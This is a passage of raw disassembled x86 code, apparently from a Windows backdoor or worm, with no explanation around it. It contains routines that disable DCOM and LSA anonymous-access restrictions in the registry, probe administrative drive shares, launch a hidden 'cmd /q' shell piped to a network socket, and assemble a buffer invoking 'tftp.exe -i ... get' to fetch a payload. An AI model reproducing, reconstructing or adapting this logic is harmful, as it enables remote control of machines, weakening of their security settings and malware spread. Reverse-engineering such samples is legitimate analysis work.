arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_43F738, ebx
		push	esi
		jnz	loc_4163D8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_43F6D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_416335
		mov	ax, ds:word_4391FC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_43F68C	; RegSetValueExA
		test	eax, eax
		jz	short loc_416317
		push	offset unk_4391C8
		jmp	short loc_41631C
; ---------------------------------------------------------------------------

loc_416317:				; CODE XREF: sub_4162AA+64j
		push	offset dword_43919C

loc_41631C:				; CODE XREF: sub_4162AA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43F644	; RegCloseKey
		jmp	short loc_416348
; ---------------------------------------------------------------------------

loc_416335:				; CODE XREF: sub_4162AA+36j
		lea	eax, [ebp+var_220]
		push	offset unk_438F68
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_416348:				; CODE XREF: sub_4162AA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416367
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416367:				; CODE XREF: sub_4162AA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_43F6D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4163D1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	ds:dword_43F68C	; RegSetValueExA
		test	eax, eax
		jz	short loc_4163B3
		push	offset unk_439150
		jmp	short loc_4163B8
; ---------------------------------------------------------------------------

loc_4163B3:				; CODE XREF: sub_4162AA+100j
		push	offset unk_43910C

loc_4163B8:				; CODE XREF: sub_4162AA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43F644	; RegCloseKey
		jmp	short loc_4163EB
; ---------------------------------------------------------------------------

loc_4163D1:				; CODE XREF: sub_4162AA+E2j
		push	offset unk_4390C0
		jmp	short loc_4163DD
; ---------------------------------------------------------------------------

loc_4163D8:				; CODE XREF: sub_4162AA+13j
		push	offset unk_438E38

loc_4163DD:				; CODE XREF: sub_4162AA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_4163EB:				; CODE XREF: sub_4162AA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41640A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41640A:				; CODE XREF: sub_4162AA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		cmp	ds:dword_43F760, ebx
		pop	ecx
		jnz	loc_41657F
		push	edi
		mov	esi, offset off_438CA0
		mov	edi, 200h

loc_41642E:				; CODE XREF: sub_4162AA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40DC17
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416449
		push	offset unk_439090
		jmp	short loc_41644E
; ---------------------------------------------------------------------------

loc_416449:				; CODE XREF: sub_4162AA+196j
		push	offset unk_439058

loc_41644E:				; CODE XREF: sub_4162AA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41647D
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41647D:				; CODE XREF: sub_4162AA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_438CB0
		jb	short loc_41642E
		call	ds:dword_42417C	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416567

loc_4164A8:				; CODE XREF: sub_4162AA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41655C
		cmp	bl, 41h
		jz	loc_41655C
		movsx	esi, bl
		push	esi
		push	offset aC_3	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_2	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_43F6C8	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41655C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DC17
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41651A
		push	offset unk_439090
		jmp	short loc_41651F
; ---------------------------------------------------------------------------

loc_41651A:				; CODE XREF: sub_4162AA+267j
		push	offset unk_439058

loc_41651F:				; CODE XREF: sub_4162AA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41654F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41654F:				; CODE XREF: sub_4162AA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_41655C:				; CODE XREF: sub_4162AA+206j
					; sub_4162AA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4164A8

loc_416567:				; CODE XREF: sub_4162AA+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_439018
		push	eax
		call	sub_4172AE
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416592
; ---------------------------------------------------------------------------

loc_41657F:				; CODE XREF: sub_4162AA+173j
		lea	eax, [ebp+var_220]
		push	offset unk_438CE0
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_416592:				; CODE XREF: sub_4162AA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165B0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_4165B0:				; CODE XREF: sub_4162AA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4162AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C4	proc near		; CODE XREF: sub_41547E+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416715
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, ds:dword_4450CC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_4240A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168E7
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_41662F
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_416669
; ---------------------------------------------------------------------------

loc_41662F:				; CODE XREF: sub_4165C4+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_416999
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_416670
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_424168	; TerminateThread

loc_416669:				; CODE XREF: sub_4165C4+69j
		xor	eax, eax
		jmp	loc_416710
; ---------------------------------------------------------------------------

loc_416670:				; CODE XREF: sub_4165C4+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	ds:dword_424180	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_4166CA
		dec	eax
		jz	short loc_4166C4
		dec	eax
		jz	short loc_4166B0
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_439200
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_4166DF
; ---------------------------------------------------------------------------

loc_4166B0:				; CODE XREF: sub_4165C4+D5j
		mov	edi, ds:dword_424168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_4166DF
; ---------------------------------------------------------------------------

loc_4166C4:				; CODE XREF: sub_4165C4+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166CE
; ---------------------------------------------------------------------------

loc_4166CA:				; CODE XREF: sub_4165C4+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_4166CE:				; CODE XREF: sub_4165C4+104j
		call	ds:dword_424168	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_424170	; TerminateProcess

loc_4166DF:				; CODE XREF: sub_4165C4+EAj
					; sub_4165C4+FEj
		push	dword ptr [esi+10h]
		mov	edi, ds:off_424078
		call	edi ; sub_49C3D5
		push	dword ptr [esi+14h]
		call	edi ; sub_49C3D5
		push	dword ptr [esi+8]
		call	edi ; sub_49C3D5
		push	dword ptr [esi]
		call	edi ; sub_49C3D5
		push	dword ptr [esi+4]
		call	edi ; sub_49C3D5
		push	dword ptr [esi+0Ch]
		call	ds:dword_43F700	; closesocket
		push	esi
		call	sub_417C3B
		pop	ecx
		push	1
		pop	eax

loc_416710:				; CODE XREF: sub_4165C4+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416715	proc near		; CODE XREF: sub_4165C4+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_4167FF
		mov	ebx, ds:dword_424140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, ds:off_424078
		test	eax, eax
		jnz	short loc_416778
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_439324
		jmp	short loc_416798
; ---------------------------------------------------------------------------

loc_416778:				; CODE XREF: sub_416715+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_4167A0
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4392D4

loc_416798:				; CODE XREF: sub_416715+61j
		call	sub_40BFE1
		pop	ecx
		jmp	short loc_4167CE
; ---------------------------------------------------------------------------

loc_4167A0:				; CODE XREF: sub_416715+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_41680E
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi ; sub_49C3D5
		push	[ebp+var_8]
		call	edi ; sub_49C3D5
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416803
		push	offset dword_43929C
		call	sub_40BF6D

loc_4167CE:				; CODE XREF: sub_416715+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167DA
		push	[ebp+var_4]
		call	edi ; sub_49C3D5

loc_4167DA:				; CODE XREF: sub_416715+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167E5
		push	[ebp+var_8]
		call	edi ; sub_49C3D5

loc_4167E5:				; CODE XREF: sub_416715+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167EE
		push	eax
		call	edi ; sub_49C3D5

loc_4167EE:				; CODE XREF: sub_416715+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167F8
		push	eax
		call	edi ; sub_49C3D5

loc_4167F8:				; CODE XREF: sub_416715+DEj
		push	esi
		call	sub_417C3B
		pop	ecx

loc_4167FF:				; CODE XREF: sub_416715+1Dj
		xor	eax, eax
		jmp	short loc_416809
; ---------------------------------------------------------------------------

loc_416803:				; CODE XREF: sub_416715+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_416809:				; CODE XREF: sub_416715+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416715	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41680E	proc near		; CODE XREF: sub_416715+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417330
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, ds:dword_42413C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_424138	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_424120	; CreateProcessA
		test	eax, eax
		jz	short loc_4168CA
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	ds:dword_4450C8[eax], ecx
		call	ds:off_424078
		jmp	short loc_4168E0
; ---------------------------------------------------------------------------

loc_4168CA:				; CODE XREF: sub_41680E+9Aj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_439374
		call	sub_40BFE1
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_4168E0:				; CODE XREF: sub_41680E+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41680E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E7	proc near		; DATA XREF: sub_4165C4+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, ds:off_424074
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_416910:				; CODE XREF: sub_4168E7+8Fj
		call	ebx ; sub_49C3FC
		test	eax, eax
		jz	short loc_416978
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41694B

loc_416921:				; CODE XREF: sub_4168E7+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41693B
		cmp	dl, 0Dh
		jz	short loc_41693B
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41693B:				; CODE XREF: sub_4168E7+44j
					; sub_4168E7+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_416921

loc_41694B:				; CODE XREF: sub_4168E7+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_43F6B8	; send
		test	eax, eax
		jle	short loc_416978
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_416910
; ---------------------------------------------------------------------------

loc_416978:				; CODE XREF: sub_4168E7+2Dj
					; sub_4168E7+79j
		mov	esi, ds:dword_42408C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_416994
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4393C0
		call	sub_40BFE1
		pop	ecx
		pop	ecx

loc_416994:				; CODE XREF: sub_4168E7+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416999	proc near		; DATA XREF: sub_4165C4+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4169B2:				; CODE XREF: sub_416999+39j
					; sub_416999+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_43F680	; recv
		test	eax, eax
		jle	loc_416AB7
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169D4
		dec	[ebp+var_10]
		jmp	short loc_4169B2
; ---------------------------------------------------------------------------

loc_4169D4:				; CODE XREF: sub_416999+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A97
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A44
		cmp	al, 7Fh
		jz	short loc_416A44
		cmp	al, 3
		jnz	short loc_4169FF
		push	ebx
		push	ebx
		call	ds:dword_424184	; GenerateConsoleCtrlEvent
		jmp	short loc_416A6B
; ---------------------------------------------------------------------------

loc_4169FF:				; CODE XREF: sub_416999+5Aj
		cmp	al, 15h
		jnz	short loc_416A21
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A57
; ---------------------------------------------------------------------------

loc_416A21:				; CODE XREF: sub_416999+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A58
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A57
; ---------------------------------------------------------------------------

loc_416A44:				; CODE XREF: sub_416999+52j
					; sub_416999+56j
		cmp	esi, ebx
		jbe	short loc_416A6E
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_416A57:				; CODE XREF: sub_416999+86j
					; sub_416999+A9j
		pop	ecx

loc_416A58:				; CODE XREF: sub_416999+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_43F6B8	; send
		test	eax, eax
		jle	short loc_416AB7

loc_416A6B:				; CODE XREF: sub_416999+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_416A6E:				; CODE XREF: sub_416999+ADj
		cmp	al, 0Dh
		jnz	loc_4169B2
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_42407C	; WriteFile
		test	eax, eax
		jz	short loc_416AB7
		xor	esi, esi
		jmp	loc_4169B2
; ---------------------------------------------------------------------------

loc_416A97:				; CODE XREF: sub_416999+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416AA8
		mov	[ebp+var_C], 1
		jmp	loc_4169B2
; ---------------------------------------------------------------------------

loc_416AA8:				; CODE XREF: sub_416999+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169B2
; ---------------------------------------------------------------------------

loc_416AB7:				; CODE XREF: sub_416999+2Bj
					; sub_416999+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416999	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ABC	proc near		; CODE XREF: sub_416ADC+Ap
					; sub_416BB4+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AB0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416ABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ADC	proc near		; CODE XREF: sub_416BCB+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416ABC
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AF9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_416AF9:				; CODE XREF: sub_416ADC+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AB0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AB0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	ds:dword_4394A0, eax
		lea	eax, [edi+1]
		mov	ds:dword_4394C1, eax
		lea	eax, [edi+17h]
		mov	ds:dword_4394B9, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_43943C
		push	ebx
		mov	ds:dword_4394CF, eax
		call	sub_417390
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417390
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_4394C5
		push	esi
		call	sub_417390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB4	proc near		; CODE XREF: sub_416BCB+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416ABC
		push	eax
		call	sub_416C38
		add	esp, 0Ch
		retn
sub_416BB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCB	proc near		; CODE XREF: sub_402B84+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416BB4
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BEB
		cmp	eax, 0FFFFh
		jbe	short loc_416BEF

loc_416BEB:				; CODE XREF: sub_416BCB+17j
		xor	eax, eax
		jmp	short loc_416C34
; ---------------------------------------------------------------------------

loc_416BEF:				; CODE XREF: sub_416BCB+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416ABC
		add	eax, 101h
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416ABC
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416ADC
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C53
		push	esi
		mov	edi, eax
		call	sub_417C3B
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_416C34:				; CODE XREF: sub_416BCB+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C38	proc near		; CODE XREF: sub_416BB4+Ep
					; sub_416C53+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C41
		inc	ecx

loc_416C41:				; CODE XREF: sub_416C38+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C53	proc near		; CODE XREF: sub_416BCB+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C6F
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C6F
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C6F
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C72
